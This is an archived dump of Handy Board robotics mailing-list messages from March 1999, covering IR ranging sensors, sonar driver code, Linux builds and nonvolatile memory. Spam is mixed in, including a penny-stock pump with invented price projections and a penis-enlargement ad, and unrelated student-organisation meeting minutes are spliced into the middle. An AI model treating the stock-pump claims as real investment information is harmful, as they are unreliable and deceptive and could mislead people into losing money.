AM 3/3/99 -0500, Fred wrote: >The Skiff board actually built around a 200 mhz StrongARM processor >(acquired from DEC). Neat, but it doesn't look like the design is being released. Any way to get one of these? Thanks, Duncan ",0,0 """Guy M. Snodgrass"" ",Duncan Orthner ,"Wed, 03 Mar 1999 11:41:21 -0500",Re: Skiff board? ,"No, no Skiffs are available until this summer, at the earliest. I jkust tried over the past month to procure one from the Cambridge Research Lab for a project in the AI Lab here and all to no avail... (Hence the Handy Board). gms ",0,0 """Fred G. Martin"" ",Duncan Orthner ,"Wed, 03 Mar 1999 12:34:45 -0500",Re: Skiff board? ,"I think it's going to be a Compaq product, actually. It definitely won't be released with the free licensing policy of the Handy Board. It was developed by Compaq and with the support of an MIT student who works for them. From what I know, the main ""Skiff"" CPU board is seen as a sort of ""eval board"" to encourage new designs using the StrongARM chip. I *think* Compaq's plan is to just sell this, as a way to encourage developers to design with the StrongARM. The Skiff board itself has no robot I/O. There's a daughtercard (with an 8051 running its show) for the Skiff that was developed specifically for the just-completed January 1999 MIT Robot Design course. This has the motor drivers, sensor inputs, LCD screen, etc. I don't know what the plans are for this board. Fred In your message you said: > At 10:36 AM 3/3/99 -0500, Fred wrote: > > >The Skiff board actually built around a 200 mhz StrongARM processor > >(acquired from DEC). > > Neat, but it doesn't look like the design is being released. > Any way to get one of these? > > Thanks, Duncan > > ",0,0 Barry Brouillette ,"""'handyboard@media.mit.edu'"" ","Wed, 03 Mar 1999 13:46:38 -0500",Sharp GP2D02 code available,"Hi, I just posted a short tutorial and software to use the Sharp GP2D02 infrared ranging sensor with the Handy Board. This sensor is very small, relatively cheap (about $21) and gives an accurate distance reading for objects that are between 10cm and 80cm from the sensor. It sends a very narrow beam out and then triangulates the distance using an array of sensors behind a second lens. The 8 bit digital distance value is then clocked into a single digital input on the Handy Board. The software, as written, requires the digital outs from the Expansion Board but it could be easily modified to use the single digital out available on the standard Handy Board. The program is set up to read two GP2D02's simultaneously and store their values into two global variables which are accessible from IC. These global variables are updated every 73 milliseconds with two new distance values. It could easily be extended to talk to more. There is a pointer to the code off of the main Handy Board home page or you can go directly to it at: http://reality.sgi.com/employees/barry_detroit/GP2D02_1.html I hope it is of use to lots of you. Barry Brouillette ",0,1 """Ganio, Giuseppe (AFS-Warren)"" ","""'handyboard@media.mit.edu'"" ","Wed, 03 Mar 1999 13:49:28 -0500",3 used HB,"I am receiving several answers. Tonight I plan to take some digital pictures of what I have and answer to the e-mails that I have received. I am located in Metro Detroit , Mi, USA. I would like to charge 150 US $ per HB + shipping (should be between 5 or 10 US $ with UPS). ---------------------------------------------------------------------------- ---------------------------------------------------------------------------- ---------------------------- I have 3 Gleason Research Handyboard for PC (GRHB-PC) that I would like to sell for half price or less. Mint conditions , I still have all the boxes. I have finished my project succesfully. Does anybody have a suggestion where to sell used handyboards? Should I try Ebay.com? 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Maybe via IrDA interface or serial cable? > Alf I would like to know the same thing of the PalmIII. > > ---------------------------------------------------- Shoot-to-Win Protect the 2nd Amendment ---------------------------------------------------- ",0,0 Peter Borrmann ,Handyboard ,"Thu, 04 Mar 1999 18:41:19 +0100",Precise timing with the Handyboard ?,"Hi, does anybody know how to measure the time between two trigger signals as precise as possible ( around 10 microseconds would be fine.) with the handyboard. Peter -- Dr. Peter Borrmann University of Oldenburg Phone: +49 441 798 3362 (office) Department of Physics +49 441 681977 (home) 26111 Oldenburg +49 177 5678469 (handy) Germany FAX : +49 441 798 3201 Email: borrmann@uni-oldenburg.de WWW: http://www.physik.uni-oldenburg.de/~borrmann ",0,1 Thomas Hauri ,Peter Borrmann ,"Thu, 04 Mar 1999 19:22:43 +0100",Re: Precise timing with the Handyboard ?,"Peter Borrmann wrote: > Hi, > does anybody know how to measure the time between two > trigger signals as precise as possible ( around 10 microseconds > would be fine.) with the handyboard. > > Peter Use the TIC port 2 or 3. The precision of the reading you'll get is 0.5 us. About a year ago I posted some drivers to make such measurements. Tell me if you want them. cu Tom -- Thomas Hauri ZHW Zuercher Hochschule Winterthur University of applied sciences Technikumstr.9 /PF CH-8401 Winterthur Switzerland Phone : +41 52 267 74 79 Fax : +41 52 268 74 79 Mail : har@zhwin.ch HP : http://www.zhwin.ch ",0,1 Thomas Hauri ,Barry Brouillette ,"Thu, 04 Mar 1999 19:24:11 +0100",Re: Sharp GP2D02 code available,"Thanks Barry, great work. I do have one little question: As I read the data sheet of the GP2D02 ( http://www.sharpsma.com/products/opto/pdf/gp2d02.pdf ) I saw some timing specifications that i think are not taken care of in your software. Please correct me if I'm wrong. The timing chart shows the reading of the data with a pulse length of 0.2ms or less, but the whole reading sequence needs to bee longer than 1ms. Therefor the highpulses and the lowpulses must not be shorter than 67us. As far as I found out analyzing your software (I counted the cpu cycles of the software part the reads the 8 bit distance) reading each bit takes about 50us. The highpulse being not longer than 10us lets the low pulse be around 40us. Both pulsewidth are shorter than the pulsewidth recommended in Sharps timing chart. Now either I'm reading the chart wrong or you are lucky :)) to get those sensors running. Please tell me who makes the mistake. I will be writing a driver for 8 sensores. Therefor I'd like to know if all sensors work with your software. Thanks a lot for your effort and your help. Tom -- Thomas Hauri ZHW Zuercher Hochschule Winterthur University of applied sciences Technikumstr.9 /PF CH-8401 Winterthur Switzerland Phone : +41 52 267 74 79 Fax : +41 52 268 74 79 Mail : har@zhwin.ch HP : http://www.zhwin.ch ",0,1 Darkman ,Handy Board ,"Thu, 04 Mar 1999 14:19:20 -0500",Hamamatsu P5587 ,"Does anybody have the pinouts or spec sheet for the Hamamatsu P5587 optical sensor? Thanks ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Thu, 04 Mar 1999 13:13:21 -0800",Re: Hamamatsu P5587,"I'm not an ASCII artist, so I'll attempt a verbal description. View the P5587 with the emitter/detector side facing you and have two pins on the left and three on the right. In this position pin-1 is in the upper left corner, pin-2 in the lower left, pin-3 in the lower right, pin-5 in the upper right. pin-1 emitter cathode, ground pin-2 emitter anode, 680R to +5V pin-3 sensor output, 6K8 pullup to +5V pin-4 sensor ground pin-5 sensor Vcc, +5V Hamamatsu recommends a cap. larger than 0.01uF from pin-5 to ground as near the chip as practical ... but I don't use one. hope this helps, - - - Nick - - - Darkman wrote: > > Does anybody have the pinouts or spec sheet for the Hamamatsu P5587 optical > sensor? > > Thanks ",0,0 """Guy M. Snodgrass"" ",handyboard@media.mit.edu,"Thu, 04 Mar 1999 16:51:44 -0500",Power problems?,"To all: I am currently constructing a Handy Board. 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Ameen [mailto:naa6195@silver.sdsmt.edu] Sent: Thursday, March 04, 1999 6:20 PM To: handyboard@media.mit.edu Subject: Could IR ranging sensors be used with Rug Warrior board as well Hello all: I have to ask this question: I am using a Rug Warrior Pro board and handyboard. Could the Sharp GP2d02 or the Hamatmtsu P5507 be used on the Rug Warrior as well. More specifically : What are the voltage requirements of these two? What are their ranges? How narrow is the beam? How many I/O ports does each require? Why would I choose one of these over sonar ranging? Any help concerning these questions will be deeply appreciated. ",0,0 """Edward J. Young"" ","handyboard@media.mit.edu, jdukeshe@carbon.cudenver.edu, chsmith@carbon.cudenver.edu","Fri, 05 Mar 1999 08:48:25 -0700","Linux, and HB beta binaries: problems getting started"," Handy Board list: I'm trying to get the handy board running under Linux for a robotics class at the University of Colorado. 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I *can* run the mon binary as root and get good results when I first put the board in download mode and then run mon. I can test the LCD and analogs, etc. I therefore know that I have everything connected ok. I tried to download a .s19 file and seem to have corrupted the board. I can't find the file pcode_hb.s19 in the distribution I've downloaded. I could realy use some help or pointers to help since I've looked through all the docs now. I'm willing to upgrade if this is necessary. Thanx in advance, Ed Young NL7FU ",0,0 cukwmzvaui ,handyboard@media.mit.edu,,"Looking for the safest method to enlarge your dick? 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Tonight I plan to take some digital pictures of what I have and answer to the e-mails that I have received. I am located in Metro Detroit , Mi, USA. I would like to charge 150 US $ per HB + shipping (should be between 5 or 10 US $ with UPS). ---------------------------------------------------------------------------- ---------------------------------------------------------------------------- ---------------------------- I have 3 Gleason Research Handyboard for PC (GRHB-PC) that I would like to sell for half price or less. Mint conditions , I still have all the boxes. I have finished my project succesfully. Does anybody have a suggestion where to sell used handyboards? Should I try Ebay.com? ",0,0 Aaron Edsinger ,Michael N Rosenblatt ,"Fri, 05 Mar 1999 22:21:29 -0800",Re: Rolling Ball Inclinometers,"I recall one of the surplus electronics/mechanics catologs (All Electronics? Herbach&Rademan) were selling them for $0.50 -----Original Message----- From: Michael N Rosenblatt To: handyboard@media.mit.edu Date: Friday, March 05, 1999 9:41 AM Subject: Rolling Ball Inclinometers > >Does anyone know of a place to get cheap rolling ball inclinometers? > >thanks >Michael > >",0,0 Thomas Heidel ,handyboard@media.mit.edu,"Fri, 05 Mar 1999 19:58:42 +0100","Re: Linux, and HB beta binaries","Hi Edward, I am running ic on linux since December. I downloaded the _SOURCE_ from the same location as you I think, (ic-src-unix-2.860-beta.tar.Z) and build the binaries on my system to make sure they will use the libraries I have. You also have to download pcode-2.81-dist.tar.Z since it contains the .s19 file. If you like to write .asm code too, I think you have to change as11_ic. (At least I had to) Good luck with linux. Ciao Thomas. ",0,0 """J.W. Pennington"" ",Handyboard ,"Fri, 05 Mar 1999 14:16:53 -0500","Re: Linux, and HB beta binaries","I've run it on Red Hat (5.2, stock Glibc) and I'm running it now on Slackware (3.6, stock). I haven't had any problems either, but I built it from source as well. -- ________________________________________ Jonathan Pennington -Anthropologist/Geologist -Linux User and Advocate -Bart Simpson Sympathizer Email at jwp(at)awod.com _______________________________________ ",0,0 """J.W. Pennington"" ",Handyboard ,"Fri, 05 Mar 1999 14:22:47 -0500",Re: Rolling Ball Inclinometers,"Aaron Edsinger wrote: > > I recall one of the surplus electronics/mechanics catologs (All Electronics? > Herbach&Rademan) were selling them for $0.50 It's All Electronics. 2 for $1.00. 1.800.826.5432. Page 17. Catalog numbers ATS-1 and ATS-3. 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Origin of the GSO Gareth Roberts briefly outlined the types of documents he and Chris Richardson plan to include in a description of the origin of the GSO (based on the Fall '97 TF pay disparity). We will announce when this description becomes available on the web site (http://gso.bu.edu). 2. Committee Reports Funding Committee ================= Gareth Roberts reported for this committee. Currently, they are: - Working on a web page that will contain grad pay rate information for BU and some other schools. - Looking into pay rates in *certain departments* at other schools. They have found that by contacting those departments as ""perspective students"", it is easier to get pay rate information. This project is currently of lower priority. - Tentatively planning a brown bag lunch talk for later in March. This talk will be on Intellectual Property issues. They are attempting to get a student from the law school as speaker. - Continuing to look into advising/grievance issues by gathering information on guidelines or award programs (e.g., that promote good advising) at other schools. - Reviewed the NAGPS web site that describes the 2 new tax credits and found that one is applicable to grads who pay their own tuition. Finally, they are suggesting ""Financial, Academic and Research (FAR) Committee"" as their new name, but will hold off until this committee is discussed in the context of the ""Committees"" constitution article. Healthcare Committee ==================== Denise Guillot reported for this committee. 1. They have added the following to the Healthcare Pages (http://gso.bu.edu/healthcare/): - Summaries of some dental clinics (available to grads) that provide discounted services. - Additional definitions of healthcare terms, including HMO and PPO, and a comparison between those 2 types of plans. 2. They are continuing to plan a brown bag talk with a Chickering representative, including what set of questions they will prepare. They are tentatively scheduling the talk for early April and will ask the Undergraduate Student Union to co-sponsor the event and invite undergrads. 3. They have contacted BU's Student Accounting on some issues: - Insurance Premium Refunds: According to Student Accounting, there is a grace period in which students can get their Chickering insurance premium refunded if they've already paid their bill (in which that cost is automatically included), but then decide on another insurance plan. The grace period is approx. 2 months, but they do not yet know the exact date span. (Choosing another insurance plan, of course, still requires that the student fill out a ""waiver"", as described on the Healthcare Pages.) - Student Health Services Costs: Since there is no apparent item on GRS students' bills for the costs of Student Health Services, the committee asked whether BU picks up these costs or whether it is included in other costs (like tuition). Student Accounting said that coverage of the cost depended on school, but wasn't yet able to give more details. 4. The format of the NAGPS's national healthcare survey is in the process of being finalized. 5. They will be writing up Free Care, the state-run healthcare assistance program that they've described at several hospitals or health centers, but for which they haven't yet provided a general write-up. ---- A meeting attendee asked whether students could enroll in the Chickering insurance for half a year. The committee responded that the insurance does allow Spring enrollment. Also, at the last meeting, someone suggested that recently in the past (or soon to come) a student group was sponsoring a healthcare talk (possibly with Chickering). After talking with the Undergraduate Student Union, the Student Activities Office, and Chickering's reps to BU, they were not able to find evidence of such an event. Housing Committee ================= Catherine Capuzzi reported for this committee. They've talked with the Accounts Manager at Information Technology (IT) about getting new students (without BU computer accounts) access to the Office of Off-Campus Housing's listings on the web. According to IT, they are implementing an early-bird password system, where students (no sooner than 1-month before they are scheduled to come to BU) can have access to certain restricted areas of the BU web site. Unfortunately, these early-bird passwords will not give access to Off-Campus Housing's listings. IT suggested that they draft a letter describing why new students need access to those listings. ---- Since it seems clear to the committee that access to listings is not a high priority for IT or the Office of Off-Campus Housing, it was suggested that they ask GRS (via our ""liaison"") for assistance in pushing for this change. As an aside, another meeting attendee mentioned that when they had gone to the Off-Campus Housing Office, the office said they no longer provided paper listings, i.e., that they now only provide the web version. Liaison Committee ================= This committee did not report. ---- A meeting attendee reiterated that they (a non-TF) were getting TF-like borrowing privileges at the Science & Engineering library. From other sources, we've heard that non-TF English students are not getting these extra privileges at Mugar. Social Committee ================ Cassandra Celatka reported for this committee. - They reported that they were able to get GRS to cover the costs of food for the Ri Ra event (recall that they had to spend more than the $30 allotted). Apparently, GRS is fine with covering food costs for such events, but wants to know about them well in advance. - They are still planning on the bowling/Beer Works event for March 23rd. - They've learned that the Daily Free Press now has a free Calendar section in which groups can post events (originally postings were at a cost). They do not yet know how much in advance these announcements have to be sent in. Steering Committee ================== Kendra Carter reported for this committee. Their report consisted of a presentation/discussion of the articles in the ""Constitution, Bylaws, etc."" section below. 3. Constitution, Bylaws, etc. Finalizing Article ------------------ The group reviewed the final version of the ""Purpose of the GSO"" article. This article passed with a consensus.** Continuing Article ------------------ Kendra Carter again presented the ""Committees"" article. Suggested revisions of the first 5 committees in that article were discussed. Besides revising the descriptions of each committee, we again discussed how to chose liaisons, plus how many liaisons we need. In addition, we decided that a ""Survey Committee"" would be better as an ad-hoc committee. We'll continue discussing and revising the ""Committees of the GSO"" article at the next meeting. New Article ----------- The group began discussing an ""Officers of the GSO"" article. Issues were: what exactly to name the ""president"" and ""vice-president"" and whether they should be more like co-officers or in a hierarchy. We also discussed whether committees only need one chairperson. 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Could the Sharp GP2d02 or the Hamatmtsu P5507 be used on the > Rug Warrior as well. > > More specifically : > > What are the voltage requirements of these two? > What are their ranges? > How narrow is the beam? > How many I/O ports does each require? > Why would I choose one of these over sonar ranging? > I designed and etched a small adapter board that interfaces three Sharp GPD05 and one GPD02 sensors with RW. It replaces the contact bump switches with the Sharp detectors by driving voltage followers to the level of the resistor ladder used in RW. I can post the schematic if you wish. john vaughn Hobart & William Smith Colleges Geneva, NY 14456 > > Any help concerning these questions will be deeply appreciated. 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Thanks in advance Terry Gathright ---------- > From: Barry Brouillette > To: 'handyboard@media.mit.edu' > Subject: Sharp GP2D02 code available > Date: Wednesday, March 03, 1999 12:46 PM > > Hi, > I just posted a short tutorial and software to use the Sharp GP2D02 infrared > ranging sensor with the Handy Board. This sensor is very small, relatively > cheap (about $21) and gives an accurate distance reading for objects that > are between 10cm and 80cm from the sensor. It sends a very narrow beam out > and then triangulates the distance using an array of sensors behind a second > lens. The 8 bit digital distance value is then clocked into a single > digital input on the Handy Board. The software, as written, requires the > digital outs from the Expansion Board but it could be easily modified to use > the single digital out available on the standard Handy Board. > > The program is set up to read two GP2D02's simultaneously and store their > values into two global variables which are accessible from IC. These global > variables are updated every 73 milliseconds with two new distance values. It > could easily be extended to talk to more. There is a pointer to the code > off of the main Handy Board home page or you can go directly to it at: > > http://reality.sgi.com/employees/barry_detroit/GP2D02_1.html > > I hope it is of use to lots of you. > > Barry Brouillette",0,1 """Terry P. Gathright"" <669@worldnet.att.net>","Barry Brouillette , ""'handyboard@media.mit.edu'"" ","Sun, 07 Mar 1999 19:28:20 -0600",Re: Sharp GP2D02 code available,"I just finished sending a question to the mail list but may have my problem fixed? Just from blind luck. I have digital out #7no the expansion board and digital in#15 on the main board and the first of the zeros on on the LCD changes to a one at about a 10 inch range. Whoopee, what's the other zero for? Have I got it right? Ha, ""Even a blind squirrel finda a acorn enery now and then"" ---------- > From: Barry Brouillette > To: 'handyboard@media.mit.edu' > Subject: Sharp GP2D02 code available > Date: Wednesday, March 03, 1999 12:46 PM > > Hi, > I just posted a short tutorial and software to use the Sharp GP2D02 infrared > ranging sensor with the Handy Board. This sensor is very small, relatively > cheap (about $21) and gives an accurate distance reading for objects that > are between 10cm and 80cm from the sensor. It sends a very narrow beam out > and then triangulates the distance using an array of sensors behind a second > lens. The 8 bit digital distance value is then clocked into a single > digital input on the Handy Board. The software, as written, requires the > digital outs from the Expansion Board but it could be easily modified to use > the single digital out available on the standard Handy Board. > > The program is set up to read two GP2D02's simultaneously and store their > values into two global variables which are accessible from IC. These global > variables are updated every 73 milliseconds with two new distance values. It > could easily be extended to talk to more. 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Gathright [mailto:669@worldnet.att.net] > Sent: Monday, March 08, 1999 2:01 AM > To: Barry Brouillette; 'handyboard@media.mit.edu' > Subject: Re: Sharp GP2D02 code available > > > Hi Barry, > I have a GP2D05 from Acroname Inc., Have wired as per > instructions black > for gnd., green for Vin, Yellow for Vout, and red for > Vcc.The pin outs are > different than the GP2D02. > Then installed the diode and connectors for the > handyboard .as per > instructions. > Downloaded the software,loaded the software to the > hb.(GP2D02_icb and > TS_gp2.c) Handyboard lcd reads > . > Problem is: Where exactly do I plug the digital out > from the GP2D05 and the > digital out from the handyboard? > > Thanks in advance > Terry Gathright > > ---------- > > From: Barry Brouillette > > To: 'handyboard@media.mit.edu' > > Subject: Sharp GP2D02 code available > > Date: Wednesday, March 03, 1999 12:46 PM > > > > Hi, > > I just posted a short tutorial and software to use > the Sharp GP2D02 > infrared > > ranging sensor with the Handy Board. This sensor is > very small, > relatively > > cheap (about $21) and gives an accurate distance > reading for objects that > > are between 10cm and 80cm from the sensor. It sends > a very narrow beam > out > > and then triangulates the distance using an array of > sensors behind a > second > > lens. The 8 bit digital distance value is then > clocked into a single > > digital input on the Handy Board. The software, as > written, requires the > > digital outs from the Expansion Board but it could be > easily modified to > use > > the single digital out available on the standard > Handy Board. > > > > The program is set up to read two GP2D02's > simultaneously and store their > > values into two global variables which are accessible > from IC. These > global > > variables are updated every 73 milliseconds with two > new distance values. > It > > could easily be extended to talk to more. There is a > pointer to the code > > off of the main Handy Board home page or you can go > directly to it at: > > > > http://reality.sgi.com/employees/barry_detroit/GP2D02_1.html > > > > I hope it is of use to lots of you. > > > > Barry Brouillette >",0,1 Stefano Falconetti ,"Pierre Deprost , handyboard@media.mit.edu","Mon, 08 Mar 1999 08:50:34 +0100",Re: Java and 68hc11,"Thanks, I downloaded all, and now i'm trying to make it run. Very, very interesting... ---------- From: Pierre Deprost To: Stefano Falconetti Subject: Re: Java and 68hc11 Date: 03 March 1999 22:20 Hi, visit this site http://www.r-net.sk/javavm/JVMImplementation.html Pierre Deprost -----Message d'origine----- De : Stefano Falconetti À : handyboard@media.mit.edu Date : mercredi 3 mars 1999 13:27 Objet : Java and 68hc11 >Hi, > do anyone know something interesting about java virtual machine porting on >68hc11? > And do you know if is it possible to write some high level code for the >controller using > Java ? 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Pull Vin to high again to Reset. the question is, will the following code do the job? is it too simple? from what i've seen, it seems that the GP2D02 requires some complicated code to make it work with the handyboard. bit_set(0x1000, 0x80); /* set digital output #9(Vin) low */ msleep(56L); /* delay for 56ms */ a=digital(5); /* read digital input #5 and store the reading in int variable a. */ bit_clear(0x1000, 0x80); /* set digital #9 high to reset */ any comments, advice or criticism will be greatly appreciated. i'm a robotics newbie and i'm afraid that i would spend a lot of money buying a sensor that doesn't work. please help. thanks a million! ~edmund ",0,0 Mitchel Resnick ,play99,"Sun, 07 Mar 1999 20:03:22 -0500",projects,"Sorry I won't be in class for the discussion of projects on Tuesday. One suggestion...As you think about project ideas, don't just think of ideas that could be turned into products in the next year or two. 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It has the same distance limitations as the GP2D02 (minimum 10cm maximum 80cm). Barry -----Original Message----- From: edmund [mailto:ho106@singnet.com.sg] Sent: Monday, March 08, 1999 10:10 PM To: HandyBoard Subject: Sharp GP2D05? hello anyone tried interfacing the Sharp GP2D05 sensors to the handyboard before? i'm thinking of buying some as i need a reliable and cheap digital(Yes/No) sensor. from what i can understand, there are 4 wires, Vin, Vcc, Gnd and Vout. the Vcc, Gnd and Vout can be connected directly to the handyboard digital input while digital input #9 can be configured as an output to provide a signal for Vin. the operating procedure for the GP2D05 also sounds simple enough: 1. Pull the normally high(3V) Vin low(0V). 2. Wait 56ms. 3. Read Vout - if LOW(0V) --> no obstacle and vice versa. 4. Pull Vin to high again to Reset. the question is, will the following code do the job? is it too simple? from what i've seen, it seems that the GP2D02 requires some complicated code to make it work with the handyboard. bit_set(0x1000, 0x80); /* set digital output #9(Vin) low */ msleep(56L); /* delay for 56ms */ a=digital(5); /* read digital input #5 and store the reading in int variable a. */ bit_clear(0x1000, 0x80); /* set digital #9 high to reset */ any comments, advice or criticism will be greatly appreciated. i'm a robotics newbie and i'm afraid that i would spend a lot of money buying a sensor that doesn't work. please help. thanks a million! ~edmund ",0,0 csnvgs <8dneu@maxonline.com.sg>,"handyboard@media.mit.edu, deborah@media.mit.edu, christie@media.mit.edu, mamie@media.mit.edu","Mon, 08 Mar 1999 18:12:08 +0800",Nothing like it [N E W S] bronzed closers,"GAPJ- GOLDEN APPLE OIL/GAS This weeks Pick, Company already has solid potential Current Price: $ 0.50 5 Day Projected : $ 1.50 Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. 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Do i need the pa7_9600 (modified to 2400) or the pa7i9600 (also modified) ? Does someone know if there is a source code (.asm) file of the pa7i9600 ? If it exists, where can i download it ? Or can someone mail it to me ? Thank you very much, Simon ",0,0 Steve Wall ,handyboard@media.mit.edu,"Mon, 08 Mar 1999 11:29:39 -0500",20 X 8 L.C.D driver?,"I have seen questions on the list about using a 20 X 8 instead of a 16 X 4 lcd, I think that the person was told to look on the handy board site for a 20 X 8 driver. has anybody used a 20 X8 lcd and if so how did you do it and could you help me use one on mine. I prefer a bigger screen and I can get them real cheap. any help would be appreciated. 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References 1. file://localhost/home/cmf2/tasks/srx_us/http://agenaloc.com/?a=1652 ",1,1 """Russell, Casey"" ",handyboard@media.mit.edu,"Mon, 08 Mar 1999 16:36:42 -0500",nonvolatile memory,"Does Anyone know how to modify the handy board so that when the battery is disconnected the memory on the board is not lost? In short I want the HB to have nonvolatile memory so that I do not have to reload the pcode in bootstrap mode every time the battery is disconnected. Casey ",0,0 Ranjit Diol ,"""Russell, Casey"" ","Mon, 08 Mar 1999 17:20:46 -0500",Re: nonvolatile memory,"Just a thought, you could try one of Dallas Semiconductor's nonvolatile SRAM such as the DS1225Y Cheers, Ranjit ""Russell, Casey"" wrote: > Does Anyone know how to modify the handy board so that when the battery > is disconnected the memory on the board is not lost? > In short I want the HB to have nonvolatile memory so that I do not have > to reload the pcode in bootstrap mode every time the battery is > disconnected. > > Casey -- Ranjit Diol - COMPSys Dowagiac,Michigan e-mail: rsdiol@mich.com website: http://www.compsys1.com ",0,1 """Michael S. Davis"" ","""Russell, Casey"" ","Mon, 08 Mar 1999 14:38:58 -0800",Re: nonvolatile memory,"On Mon, 8 Mar 1999, Russell, Casey wrote: > Does Anyone know how to modify the handy board so that when the battery > is disconnected the memory on the board is not lost? > In short I want the HB to have nonvolatile memory so that I do not have > to reload the pcode in bootstrap mode every time the battery is > disconnected. You can get a RAM Module with built-in battery. Don't remember the name but they are out there. > > > Casey > ---------------------------------------------------- Shoot-to-Win Protect the 2nd Amendment ---------------------------------------------------- ",0,0 Phil ,"""Russell, Casey"" ","Mon, 08 Mar 1999 16:40:00 -0600",Re: nonvolatile memory,"You need to either 1. build a battery circuit that connects to the power pins of the memory chip or 2. Buy nonvolatile memory -phil On Mon, 8 Mar 1999, Russell, Casey wrote: > Does Anyone know how to modify the handy board so that when the battery > is disconnected the memory on the board is not lost? > In short I want the HB to have nonvolatile memory so that I do not have > to reload the pcode in bootstrap mode every time the battery is > disconnected. > > > Casey > ",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Mon, 08 Mar 1999 18:01:01 -0500",Re: nonvolatile memory,"At 05:20 PM 3/8/99 -0500, Ranjit Diol wrote: >Just a thought, you could try one of Dallas Semiconductor's nonvolatile >SRAM such as the DS1225Y Actually the DS1225Y is a 8Kx8 NVRAM chip. The correct Dallas part for the HB is a DS1230. Another option is the Simtek EEPROM backed (no battery) chips. They have the same package as a standard RAM chip, whereas the higher profile Dallas modules stick up into the LCD or the expansion board on the HB. Check: http://www.simtek.com/simtek/docs/SimtekCrossRef.htm The STK15C88 looks like the ticket, although I've had a couple of these on order for three weeks now here in Canada. Maybe you'll have better luck... Cheers, Duncan ",0,1 """Curt Mills, WE7U"" ","""Michael S. Davis"" ","Mon, 08 Mar 1999 15:43:30 -0800",Re: nonvolatile memory,"On Mon, 8 Mar 1999, Michael S. Davis wrote: > On Mon, 8 Mar 1999, Russell, Casey wrote: > > > Does Anyone know how to modify the handy board so that when the battery > > is disconnected the memory on the board is not lost? > > In short I want the HB to have nonvolatile memory so that I do not have > > to reload the pcode in bootstrap mode every time the battery is > > disconnected. > > You can get a RAM Module with built-in battery. Don't remember the > name but they are out there. Try Dallas Semiconductor. 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",1,0 rmtmd ,handyboard@media.mit.edu,"Mon, 08 Mar 1999 19:39:51 -0800",Polaroid 6500 Sonar Problem,"I'm having difficulty getting my sonar rangefinder to work properly. I've got a fully operational Handy Board with a fully operational Expansion Board plugged into it (both purchased assembled from Gleason and used extensively already without difficulty). I've soldered the nine pin flex cable adapter into the appropriate place on the top of the expansion board, and I've got the flex cable plugged into it and into the adapter on the sonar driver board I purchased assembled from Wirz. I've soldered a solid core wire to pad J12 on the expansion board and plugged the other end into the digital input numbered ""7"" on the Handy Board itself (first hole on right in the single row header next to the power expansion header). Running Interactive C 3.1 (commercial version from Newton Labs), I loaded ""sonar.c"" (Fred Martins' driver code) to test everything. When I invoked the ""sonar_display();"" function, I heard the transducer clicking rapidly. The LCD display updated in sync with the clicks. So far so good. The display, however, did not change significantly, when, holding the transducer by it's wires, not by its body, I pointed it at flat surfaces at varying distances from it ranging from a few feet to five or ten feet away. I kept getting a number around 1450 to 1460 on the LCD as the value of ""result,"" which holds the result of the call to the ranging function, ""sonar_closeup();"". Occasionally numbers up to 1800 or so flash on momentarily, but for the most part the numbers being continuously updated run in the 1450s to 1460s. I've tried substituting ""sonar_sample();"" for the call to ""sonar_closeup();"" in the ""sonar_display();"" function's body, to no avail. If the returned value on the LCD represents the number of half milliseconds elapsed, then, I seem to be reading a constant distance of about .3 feet (1450 ticks / 2000 ticks/ms = 0.725 ms; 0.725 ms / 2 = .362 ms, or the time for sound to travel ONE way to target; .362 ms / 1.1 ft/ms {speed of sound} = .33 ft). HELP! Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX I've reproduced Fred Martin's driver code below rather than referring everyone to the URL where I downloaded it. /* sonar.c Polaroid 6500 routines for Handy Board / Interactive C by Fred Martin, fredm@media.mit.edu Sat Nov 22 13:57:35 1997 echo signal is connected to tic3/pa0; init signal is pd5 (SS); binh signal is pd4 (SCK) */ void sonar_init() { bit_set(0x1009, 0x30); /* ddrd */ bit_set(0x1021, 1); /* at tctl2, */ bit_clear(0x1021, 2); /* set tic3 for rising edge */ } int sonar_sample() { int start_time; poke(0x1023, 1); /* clear tic3 flag */ start_time= peekword(0x100e); /* capture start time */ bit_set(0x1008, 0x20); /* trigger pulse */ while (!(peek(0x1000) & 0x1)) { /* wait until receive echo */ if ((peekword(0x100e) - start_time) < 0) { /* if too much time has elapsed, abort */ bit_clear(0x1008, 0x20); return -1; } defer(); /* let others run while waiting */ } bit_clear(0x1008, 0x20); /* clear pulse trigger */ return peekword(0x1014) - start_time; /* tic3 has time of echo */ } int sonar_closeup() { int start_time; poke(0x1023, 1); /* clear tic3 flag */ start_time= peekword(0x100e); poke(0x1008, 0x20); while ((peekword(0x100e) - start_time) < 1000); bit_set(0x1008, 0x30); /* turn on BINH */ while (!(peek(0x1000) & 0x01)) { if ((peekword(0x100e) - start_time) < 0) { /* if too much time has elapsed, abort */ bit_clear(0x1008, 0x30); return -1; } defer(); } bit_clear(0x1008, 0x30); return peekword(0x1014) - start_time; /* 0x1014 is tic3 */ } void sonar_display() { int result; sonar_init(); while (1) { result= sonar_closeup(); if (result != -1) printf(""%d\\n"", result); else printf(""*******\\n""); msleep(50L); } }",0,0 Edgar Leatherman ,"rmtmd , handyboard@media.mit.edu","Tue, 09 Mar 1999 00:40:34 -0500",RE: Polaroid 6500 Sonar Problem,"Hi, On this page (http://lcs.www.media.mit.edu/groups/el/projects/handy-board/software/sonar. html) it says to install a .1uF capacitor at C7 on the sonar board. My team basically did everything you are talking about, plus install the cap, and everything seems to work fine for us... hope this helps, I'm not sure what the capacitor does though. E Leatherman > -----Original Message----- > From: rmtmd [mailto:rmt@lvcm.com] > Sent: Monday, March 08, 1999 10:40 PM > To: handyboard@media.mit.edu > Subject: Polaroid 6500 Sonar Problem > > > I'm having difficulty getting my sonar rangefinder to work properly. > > I've got a fully operational Handy Board with a fully operational > Expansion Board plugged into it (both purchased assembled from Gleason > and used extensively already without difficulty). I've soldered the nine > pin flex cable adapter into the appropriate place on the top of the > expansion board, and I've got the flex cable plugged into it and into the > adapter on the sonar driver board I purchased assembled from Wirz. I've > soldered a solid core wire to pad J12 on the expansion board and plugged > the other end into the digital input numbered ""7"" on the Handy Board > itself (first hole on right in the single row header next to the power > expansion header). > > Running Interactive C 3.1 (commercial version from Newton Labs), I loaded > ""sonar.c"" (Fred Martins' driver code) to test everything. When I invoked > the 